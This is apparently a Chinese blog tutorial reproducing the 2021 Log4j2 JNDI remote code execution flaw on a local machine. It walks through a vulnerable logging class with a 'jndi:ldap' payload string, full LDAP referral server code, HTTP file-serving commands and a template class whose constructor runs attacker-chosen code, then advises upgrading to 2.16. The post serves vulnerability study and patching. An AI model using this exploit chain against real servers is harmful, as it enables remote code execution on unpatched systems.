- 前言
- 需要准备的东西
- 使用log4j2打印日志的java进程(被攻击方)
- ldap服务
- 提供文件下载的Http服务器
- 准备恶意代码
- 复现漏洞
- 修复漏洞
2021年12月09日,Apache Log4j2被爆出存在安全漏洞,于是尝试复现一下。
需要准备的东西- 被攻击方:使用log4j2打印日志的java进程
- ldap服务
- 提供文件下载的http服务器
- 恶意代码
重要:被攻击方运行log4j2打印日志进程的jdk版本不能太高,8u191版本以后会将com.sun.jndi.ldap.object.trustURLCodebase参数默认设置为false,不好复现本次漏洞。使用较低版本的jdk可以直接复现本次漏洞,如果使用的是较高版本的jdk,那么需要在启动时添加参数:-Dcom.sun.jndi.ldap.object.trustURLCodebase=true来复现这次漏洞。
准备一个maven项目,添加pom依赖(版本号小于等于2.14即可):
org.apache.logging.log4j log4j-core2.12.1 org.apache.logging.log4j log4j-api2.12.1
编写简单的打印日志的代码:
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Test { private static final Logger LOGGER = LogManager.getLogger(Test.class); public static void main(String[] args) { LOGGER.info("start"); // 注意:这里的0.0.0.0:8888是需要自己指定的,和下一节启动的ldap服务的地址和端口必须相同 String userName = "${jndi:ldap://0.0.0.0:8888/hello}"; LOGGER.info("userName:{}", userName); } }
准备一个log4j2的配置文件log4j2.xml放入resources目录,这里就不展示了。
ldap服务网上主流的做法是使用marshalsec项目,git clone下来后使用maven package打包,进入target目录,运行以下命令启动一个ldap服务:
java -cp .marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:80/#Test 8888
(jar包的版本号视具体情况而定,主类信息固定,后面的http://localhost:80/#Test 8888是启动参数,后面会讲到)
也可以clone下来后,在本地ide里面找到LDAPRefServer的主函数运行。
这里也贴出具体的代码,如果不想clone,也可以直接拷贝这段代码后本地运行:
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class LDAPRefServer { private static final String LDAP_base = "dc=example,dc=com"; public static void main ( String[] args ) { int port = 1389; if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { System.err.println(LDAPRefServer.class.getSimpleName() + "[ ]"); //$NON-NLS-1$ System.exit(-1); } else if ( args.length > 1 ) { port = Integer.parseInt(args[ 1 ]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_base); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getbaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodebase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
注意:通过这段代码启动ldap服务时,必须指定两个参数http://localhost:80/#Test 8888,其含义是:监听8888端口,当接收到ldap请求后,会去http://localhost:80这个链接寻找Test.class文件。因此,可以根据实际需要修改这些参数。
提供文件下载的Http服务器因为会去http://localhost:80这个链接寻找文件,因此需要搭建一个提供文件下载的http服务器,有以下几种方式,选一种喜欢的就行:
-
python启动:python -m SimpleHTTPServer 80
-
linux系统下,启动httpd服务:sudo service httpd start
-
windows系统下,启动httpd服务,网上教程
-
自己实现一个(不建议)
启动服务后,通过http://localhost:80/Test.class可以直接下载一个文件,即搭建完成。
准备恶意代码注意:
-
恶意代码最终需要生成一个class文件,因此这段代码不能依赖别的外部代码,所有代码必须写进一个java文件。
-
不用写package信息
-
该类必须实现javax.naming.spi.ObjectFactory接口
这里给出一个示例:
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class Test implements ObjectFactory { public Test() { //在这里,写下任何你想在对方服务器上做的事情 String str = "in Test()"; System.out.println(str); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception { // 返回的内容会在最终log4j2打印的时候打印出来 return "Hello, you have been attacked!"; } }
写完java文件后,使用命令javac Test.java,生成一个Test.class文件,放在上一节启动了的http服务器的目录下,尝试请求http://localhost:80/Test.class,能够成功下载文件即准备完成。
复现漏洞所有东西准备好后,直接启动log4j2打印日志的java进程,打印结果如下:
2021-12-16 15:06:38.989 [INFO ] com.k3.Test.main(Test.java:20) - start in Test() in Test() 2021-12-16 15:06:38.994 [INFO ] com.k3.Test.main(Test.java:22) - userName:Hello, you have been attacked! in Test()
可以看到,被攻击进程会通过类加载器读取远端服务器上的类文件,加载到本地的进程中并执行默认的无参构造函数,确实十分危险。
修复漏洞升级log4j2版本到最新的2.16
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)